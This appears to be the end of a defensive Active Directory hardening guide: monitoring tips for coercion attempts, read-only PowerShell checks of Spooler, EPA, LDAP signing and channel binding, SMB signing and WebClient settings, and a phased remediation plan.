Monitor for Coercion Alert on DCs making outbound SMB/HTTP connections to workstations (they shouldn't). Watch for Event ID 5145 with spoolss/efsrpc pipes.

Quick Verification Checklist Defense Audit

# 1. Is Spooler disabled on DCs?
PS> Invoke-Command -ComputerName dc01,dc02 -ScriptBlock { Get-Service Spooler | Select Status,StartType }

# 2. Is EPA enabled on ADCS?
PS> certutil -getreg policy\EditFlags   # Look for EDITF_ENABLELDAPRELAYCOUNTERMEASURES

# 3. Is LDAP signing enforced?
PS> Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name LDAPServerIntegrity
# Value 2 = Required

# 4. Is LDAP channel binding enabled?
PS> Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name LdapEnforceChannelBinding
# Value 2 = Always

# 5. Is SMB signing required?
PS> Get-SmbServerConfiguration | Select RequireSecuritySignature
# True = Required

# 6. Is WebClient running on any servers?
PS> Get-Service WebClient -ComputerName (Get-ADComputer -Filter {OperatingSystem -like "*Server*"}).Name -EA Silent

✓ Action Plan

Today: Disable Spooler on DCs, enable EPA on ADCS, verify WebClient is off on servers. These take minutes and stop the most common attack chains.

This quarter: Plan LDAP signing and channel binding rollout. Audit with Event ID 2889 to identify apps using unsigned LDAP before enforcing.

Long-term: SMB signing everywhere, NTLM restriction. These can break things - budget time for testing and remediation before full deployment.